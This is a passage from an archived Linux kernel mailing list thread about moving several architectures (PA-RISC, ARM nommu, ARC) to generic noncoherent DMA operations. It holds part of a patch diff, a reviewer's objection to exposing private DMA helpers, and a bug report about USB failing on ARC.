+	if (boot_cpu_data.cpu_type == pcxl2 || boot_cpu_data.cpu_type == pcxl)
+		return pa11_dma_alloc(dev, size, dma_handle, gfp, attrs);
+	if (attrs & DMA_ATTR_NON_CONSISTENT)
+		return dma_direct_alloc(dev, size, dma_handle, gfp, attrs);
+	return NULL;
 }
 
-static void pcx_dma_free(struct device *dev, size_t size, void *vaddr,
-		dma_addr_t iova, unsigned long attrs)
+void arch_dma_free(struct device *dev, size_t size, void *cpu_addr,
+		dma_addr_t dma_addr, unsigned long attrs)
 {
-	free_pages((unsigned long)vaddr, get_order(size));
-	return;
+	if (boot_cpu_data.cpu_type == pcxl2 || boot_cpu_data.cpu_type == pcxl)
+		pa11_dma_free(dev, size, cpu_addr, dma_addr, attrs);
+	else
+		dma_direct_free(dev, size, cpu_addr, dma_addr, attrs);
 }
-
-const struct dma_map_ops pcx_dma_ops = {
-	.alloc =		pcx_dma_alloc,
-	.free =			pcx_dma_free,
-	.map_page =		pa11_dma_map_page,
-	.unmap_page =		pa11_dma_unmap_page,
-	.map_sg =		pa11_dma_map_sg,
-	.unmap_sg =		pa11_dma_unmap_sg,
-	.sync_single_for_cpu =	pa11_dma_sync_single_for_cpu,
-	.sync_single_for_device = pa11_dma_sync_single_for_device,
-	.sync_sg_for_cpu =	pa11_dma_sync_sg_for_cpu,
-	.sync_sg_for_device =	pa11_dma_sync_sg_for_device,
-	.cache_sync =		pa11_dma_cache_sync,
-};
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 8d3a7b80ac42..4e87c35c22b7 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -97,14 +97,12 @@ void __init dma_ops_init(void)
 		panic(	"PA-RISC Linux currently only supports machines that conform to\n"
 			"the PA-RISC 1.1 or 2.0 architecture specification.\n");
 
-	case pcxs:
-	case pcxt:
-		hppa_dma_ops = &pcx_dma_ops;
-		break;
 	case pcxl2:
 		pa7300lc_init();
 	case pcxl: /* falls through */
-		hppa_dma_ops = &pcxl_dma_ops;
+	case pcxs:
+	case pcxt:
+		hppa_dma_ops = &dma_noncoherent_ops;
 		break;
 	default:
 		break;
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index cab32ee824d2..4ad91c28ecbe 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -19,7 +19,6 @@
 #include <linux/gfp.h>
 #include <linux/delay.h>
 #include <linux/init.h>
-#include <linux/pci.h>		/* for hppa_dma_ops and pcxl_dma_ops */
 #include <linux/initrd.h>
 #include <linux/swap.h>
 #include <linux/unistd.h>
@@ -616,17 +615,13 @@ void __init mem_init(void)
 	free_all_bootmem();
 
 #ifdef CONFIG_PA11
-	if (hppa_dma_ops == &pcxl_dma_ops) {
+	if (boot_cpu_data.cpu_type == pcxl2 || boot_cpu_data.cpu_type == pcxl) {
 		pcxl_dma_start = (unsigned long)SET_MAP_OFFSET(MAP_START);
 		parisc_vmalloc_start = SET_MAP_OFFSET(pcxl_dma_start
 						+ PCXL_DMA_MAP_SIZE);
-	} else {
-		pcxl_dma_start = 0;
-		parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
-	}
-#else
-	parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
+	} else
 #endif
+		parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
 
 	mem_init_print_info(NULL);
 
-- 
2.17.0


From - Thu Nov 08 21:41:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Russell King - ARM Linux <linux-I+IVW8TIWO2tmTQ+vhA3Yw@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 04/20] arm-nommu: use generic dma_noncoherent_ops
Date: Fri, 11 May 2018 10:11:15 +0100
Lines: 129
Approved: news@gmane.org
Message-ID: <20180511091114.GA16141@n2100.armlinux.org.uk>
References: <20180511075945.16548-1-hch@lst.de>
	<20180511075945.16548-5-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526029771 20082 195.159.176.226 (11 May 2018 09:09:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 09:09:31 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org,
	openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org, Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org, Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 11 11:09:26 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fH43H-00053y-2R
	for glki-iommu@m.gmane.org; Fri, 11 May 2018 11:09:25 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id DF6DFBC6;
	Fri, 11 May 2018 09:11:33 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 39810BC5
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 09:11:32 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from pandora.armlinux.org.uk (pandora.armlinux.org.uk [78.32.30.218])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 1357B6A2
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 09:11:30 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=armlinux.org.uk; s=pandora-2014; h=Sender:In-Reply-To:Content-Type:
	MIME-Version:References:Message-ID:Subject:Cc:To:From:Date:Reply-To:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=6WGcNR3XGYJSl9206AAYWWx5d2VNz3Bqv2wQ01MR3+w=;
	b=L7VbR7OgxRa2K/HyY0R40IbEY
	UkfhI16IqA7GcO5AXKStW3ZcPydzqgbtHP5YTkoHIe/5TVzzd1WM6aMhpfNZMwJV0++dEVYqyA/vH
	mZEFS2DpbAp57USTu8PcDDsKedsfhFGi5WC70dzU/erDiaIv5FAJx85uz6eZET8mkWMOI=; 
Original-Received: from n2100.armlinux.org.uk
	([2002:4e20:1eda:1:214:fdff:fe10:4f86]:48161)
	by pandora.armlinux.org.uk with esmtpsa
	(TLSv1.2:ECDHE-RSA-AES128-GCM-SHA256:128) (Exim 4.90_1)
	(envelope-from <linux-I+IVW8TIWO2tmTQ+vhA3Yw@public.gmane.org>)
	id 1fH459-0006mn-JI; Fri, 11 May 2018 10:11:19 +0100
Original-Received: from linux by n2100.armlinux.org.uk with local (Exim 4.90_1)
	(envelope-from <linux-l+eeeJia6m9URfEZ8mYm6t73F7V6hmMc@public.gmane.org>)
	id 1fH456-0005hB-Uw; Fri, 11 May 2018 10:11:17 +0100
Content-Disposition: inline
In-Reply-To: <20180511075945.16548-5-hch-jcswGhMUV9g@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24188 gmane.linux.kernel.cross-arch:44037 gmane.linux.kernel.arc:3884 gmane.linux.ports.parisc:28615 gmane.linux.ports.sh.devel:57021 gmane.linux.ports.hexagon:1718 gmane.linux.kernel:2764261 gmane.linux.ports.alpha:5043 gmane.linux.ports.sparc:27870 gmane.linux.ports.arm.kernel:649188
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24188>

On Fri, May 11, 2018 at 09:59:29AM +0200, Christoph Hellwig wrote:
> Switch to the generic noncoherent direct mapping implementation for
> the nommu dma map implementation.
> 
> Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
> ---
>  arch/arc/Kconfig                |   1 +
>  arch/arm/Kconfig                |   4 +
>  arch/arm/mm/dma-mapping-nommu.c | 139 +++++---------------------------
>  3 files changed, 23 insertions(+), 121 deletions(-)
> 
> diff --git a/arch/arc/Kconfig b/arch/arc/Kconfig
> index 89d47eac18b2..3a492a9aeaad 100644
> --- a/arch/arc/Kconfig
> +++ b/arch/arc/Kconfig
> @@ -9,6 +9,7 @@
>  config ARC
>  	def_bool y
>  	select ARC_TIMERS
> +	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
>  	select ARCH_HAS_SYNC_DMA_FOR_CPU
>  	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
>  	select ARCH_HAS_SG_CHAIN
> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> index c43f5bb55ac8..76ddd0064f87 100644
> --- a/arch/arm/Kconfig
> +++ b/arch/arm/Kconfig
> @@ -12,6 +12,8 @@ config ARM
>  	select ARCH_HAS_PHYS_TO_DMA
>  	select ARCH_HAS_STRICT_KERNEL_RWX if MMU && !XIP_KERNEL
>  	select ARCH_HAS_STRICT_MODULE_RWX if MMU
> +	select ARCH_HAS_SYNC_DMA_FOR_CPU if !MMU
> +	select ARCH_HAS_SYNC_DMA_FOR_DEVICE if !MMU
>  	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
>  	select ARCH_HAVE_CUSTOM_GPIO_H
>  	select ARCH_HAS_GCOV_PROFILE_ALL
> @@ -27,6 +29,8 @@ config ARM
>  	select CPU_PM if (SUSPEND || CPU_IDLE)
>  	select DCACHE_WORD_ACCESS if HAVE_EFFICIENT_UNALIGNED_ACCESS
>  	select DMA_DIRECT_OPS if !MMU
> +	select DMA_NONCOHERENT_OPS if !MMU
> +	select DMA_NONCOHERENT_MMAP if !MMU
>  	select EDAC_SUPPORT
>  	select EDAC_ATOMIC_SCRUB
>  	select GENERIC_ALLOCATOR
> diff --git a/arch/arm/mm/dma-mapping-nommu.c b/arch/arm/mm/dma-mapping-nommu.c
> index f448a0663b10..a74ed6632982 100644
> --- a/arch/arm/mm/dma-mapping-nommu.c
> +++ b/arch/arm/mm/dma-mapping-nommu.c
> @@ -12,6 +12,7 @@
>  #include <linux/export.h>
>  #include <linux/mm.h>
>  #include <linux/dma-direct.h>
> +#include <linux/dma-noncoherent.h>
>  #include <linux/scatterlist.h>
>  
>  #include <asm/cachetype.h>
> @@ -26,18 +27,16 @@
>   *   - MMU/MPU is off
>   *   - cpu is v7m w/o cache support
>   *   - device is coherent
> - *  otherwise arm_nommu_dma_ops is used.
> + *  otherwise dma_noncoherent_ops is used.
>   *
> - *  arm_nommu_dma_ops rely on consistent DMA memory (please, refer to
> + *  dma_noncoherent_ops rely on consistent DMA memory (please, refer to
>   *  [1] on how to declare such memory).
>   *
>   *  [1] Documentation/devicetree/bindings/reserved-memory/reserved-memory.txt
>   */
>  
> -static void *arm_nommu_dma_alloc(struct device *dev, size_t size,
> -				 dma_addr_t *dma_handle, gfp_t gfp,
> -				 unsigned long attrs)
> -
> +void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
> +		gfp_t gfp, unsigned long attrs)
>  {
>  	void *ret;
>  
> @@ -65,9 +64,8 @@ static void *arm_nommu_dma_alloc(struct device *dev, size_t size,
>  	return ret;
>  }
>  
> -static void arm_nommu_dma_free(struct device *dev, size_t size,
> -			       void *cpu_addr, dma_addr_t dma_addr,
> -			       unsigned long attrs)
> +void arch_dma_free(struct device *dev, size_t size, void *cpu_addr,
> +		dma_addr_t dma_addr, unsigned long attrs)
>  {
>  	if (attrs & DMA_ATTR_NON_CONSISTENT) {
>  		dma_direct_free(dev, size, cpu_addr, dma_addr, attrs);
> @@ -81,9 +79,9 @@ static void arm_nommu_dma_free(struct device *dev, size_t size,
>  	return;
>  }
>  
> -static int arm_nommu_dma_mmap(struct device *dev, struct vm_area_struct *vma,
> -			      void *cpu_addr, dma_addr_t dma_addr, size_t size,
> -			      unsigned long attrs)
> +int arch_dma_mmap(struct device *dev, struct vm_area_struct *vma,
> +		void *cpu_addr, dma_addr_t dma_addr, size_t size,
> +		unsigned long attrs)
>  {
>  	int ret;
>  
> @@ -93,9 +91,8 @@ static int arm_nommu_dma_mmap(struct device *dev, struct vm_area_struct *vma,
>  	return dma_common_mmap(dev, vma, cpu_addr, dma_addr, size);
>  }
>  
> -
> -static void __dma_page_cpu_to_dev(phys_addr_t paddr, size_t size,
> -				  enum dma_data_direction dir)
> +void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
> +		size_t size, enum dma_data_direction dir)

Please no.  There is a lot of history of these (__dma_page_cpu_to_dev etc)
functions being abused by out of tree drivers, because they think they
know better.  This is stopped by making them static and ensuring that
drivers have no access to these functions.

Please do not re-expose these to the global kernel.

While it may make things easier for a cross-architecture point of view,
it makes it a lot easier for people to abuse these private APIs.

-- 
RMK's Patch system: http://www.armlinux.org.uk/developer/patches/
FTTC broadband for 0.8mile line in suburbia: sync at 8.8Mbps down 630kbps up
According to speedtest.net: 8.21Mbps down 510kbps up

From - Thu Nov 08 21:41:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexey Brodkin <Alexey.Brodkin-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 03/20] arc: use generic dma_noncoherent_ops
Date: Fri, 11 May 2018 12:44:23 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <1526042662.19036.31.camel@synopsys.com>
References: <20180511075945.16548-1-hch@lst.de>
	<20180511075945.16548-4-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526042546 32055 195.159.176.226 (11 May 2018 12:42:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 12:42:26 +0000 (UTC)
Cc: "linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org" <linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org>,
	"monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org" <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, "linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org"
	<linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>,
	"linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org" <linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org>,
	"linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org" <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>,
	"linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org" <linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org>,
	"openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org" <openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org>,
	"green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org" <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	"linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org"
To: "hch-jcswGhMUV9g@public.gmane.org" <hch-jcswGhMUV9g@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 11 14:42:21 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fH7NM-0008DE-QL
	for glki-iommu@m.gmane.org; Fri, 11 May 2018 14:42:21 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id C0EC412DE;
	Fri, 11 May 2018 12:44:31 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id AE7CB12DB
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 12:44:30 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from smtprelay.synopsys.com (smtprelay2.synopsys.com
	[198.182.60.111])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id B092C6A4
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 12:44:29 +0000 (UTC)
Original-Received: from mailhost.synopsys.com (mailhost3.synopsys.com [10.12.238.238])
	by smtprelay.synopsys.com (Postfix) with ESMTP id 18EF910C1486;
	Fri, 11 May 2018 05:44:28 -0700 (PDT)
Original-Received: from US01WEHTC2.internal.synopsys.com
	(us01wehtc2-vip.internal.synopsys.com [10.12.239.238])
	by mailhost.synopsys.com (Postfix) with ESMTP id 0E3163710;
	Fri, 11 May 2018 05:44:26 -0700 (PDT)
Original-Received: from DE02WEHTCB.internal.synopsys.com (10.225.19.94) by
	US01WEHTC2.internal.synopsys.com (10.12.239.237) with Microsoft SMTP
	Server (TLS) id 14.3.361.1; Fri, 11 May 2018 05:44:26 -0700
Original-Received: from DE02WEMBXB.internal.synopsys.com ([fe80::95ce:118a:8321:a099])
	by DE02WEHTCB.internal.synopsys.com ([::1]) with mapi id
	14.03.0361.001; Fri, 11 May 2018 14:44:24 +0200
Thread-Topic: [PATCH 03/20] arc: use generic dma_noncoherent_ops
Thread-Index: AQHT6P6OnpXig9S2zE6C6YX6KW7bXqQqWA0A
In-Reply-To: <20180511075945.16548-4-hch-jcswGhMUV9g@public.gmane.org>
Accept-Language: en-US, ru-RU
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.121.8.87]
Content-ID: <971F7A34D96DA94FBA9D4F8C88AF4970-z7JfP6tgrtVBCHUSTMH8dZqQE7yCjDx5@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24192 gmane.linux.kernel.cross-arch:44038 gmane.linux.kernel.arc:3885 gmane.linux.ports.parisc:28616 gmane.linux.ports.sh.devel:57022 gmane.linux.ports.hexagon:1719 gmane.linux.kernel:2764437 gmane.linux.ports.alpha:5044 gmane.linux.ports.sparc:27871 gmane.linux.ports.arm.kernel:649237
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24192>

Hi Christoph,

On Fri, 2018-05-11 at 09:59 +0200, Christoph Hellwig wrote:
> Switch to the generic noncoherent direct mapping implementation.
> 
> Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
> ---
>  arch/arc/Kconfig                   |   4 +
>  arch/arc/include/asm/Kbuild        |   1 +
>  arch/arc/include/asm/dma-mapping.h |  21 -----
>  arch/arc/mm/dma.c                  | 141 +++--------------------------
>  4 files changed, 19 insertions(+), 148 deletions(-)
>  delete mode 100644 arch/arc/include/asm/dma-mapping.h

Sorry I didn't try your proposed fix earlier - was away for a couple of days.

But that newer version with fixed lib/dma-noncoherent.c still doesn't work on ARC.

USB ECHI controller fails like that:
------------------------->8-------------------------
usb 1-1: new high-speed USB device number 2 using ehci-platform
usb 1-1: can't set config #1, error -32
------------------------->8-------------------------

Again with entire series reverted USB starts to work.
Let's wait for other arches previously affected to update on their status.

-Alexey

From - Thu Nov 08 21:41:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John Garry <john.garry-hv44wF8Li93QT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 04/20] arm-nommu: use generic dma_noncoherent_ops
Date: Fri, 11 May 2018 14:56:16 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <73603c68-da05-22bd-efab-d0387a98225d@huawei.com>
References: <20180511075945.16548-1-hch@lst.de>
	<20180511075945.16548-5-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; Format="flowed"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526046878 2506 195.159.176.226 (11 May 2018 13:54:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 13:54:38 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101
	Thunderbird/45.3.0
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org, Michal
	Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org, Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org, Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
